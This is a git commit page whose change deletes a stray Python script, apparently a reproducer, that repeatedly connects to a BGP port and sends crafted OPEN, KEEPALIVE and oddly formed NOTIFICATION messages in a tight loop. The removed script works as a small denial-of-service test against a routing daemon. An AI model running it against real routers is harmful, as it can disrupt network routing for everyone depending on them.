summaryrefslogtreecommitdiff
path: root/a.py
diff options
context:
space:
mode:
authorMark Stapp <mstapp@nvidia.com>2022-08-04 11:06:59 -0400
committerMark Stapp <mstapp@nvidia.com>2022-08-04 11:06:59 -0400
commite8fd069012a461dfcf65a86cc863a4be79cc85d6 (patch)
tree6f428e08aa2bf7863c7f76d73643adf0ad04e369 /a.py
parent06479e665802892e61e8b6c79c64563f9359d7d9 (diff)
*: remove test python file
Looks like a test script was added recently; remove it. Signed-off-by: Mark Stapp <mstapp@nvidia.com>
Diffstat (limited to 'a.py')
-rw-r--r--a.py22
1 files changed, 0 insertions, 22 deletions
diff --git a/a.py b/a.py
deleted file mode 100644
index 5b0fb679ff..0000000000
--- a/a.py
+++ /dev/null
@@ -1,22 +0,0 @@
-import socket
-from time import sleep
-
-bgp_open = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00#\x01\x04\x00\x02\x00\x05\xac\x11\x00\x01\xff\xff\x00\x03\x00\x01\x00'
-bgp_keepalive = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04'
-bgp_notification = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x15\x04xv'
-
-while True:
- try:
- print("[+] Creating socket...")
- s = socket.socket(type=socket.SOCK_STREAM)
- print("[+] Connecting to server...")
- s.connect(('172.17.0.3', 179))
- s.send(bgp_open)
- sleep(0.0009999999)
- s.send(bgp_keepalive)
- s.send(bgp_notification)
- except KeyboardInterrupt:
- s.close()
- break
- except:
- s.close()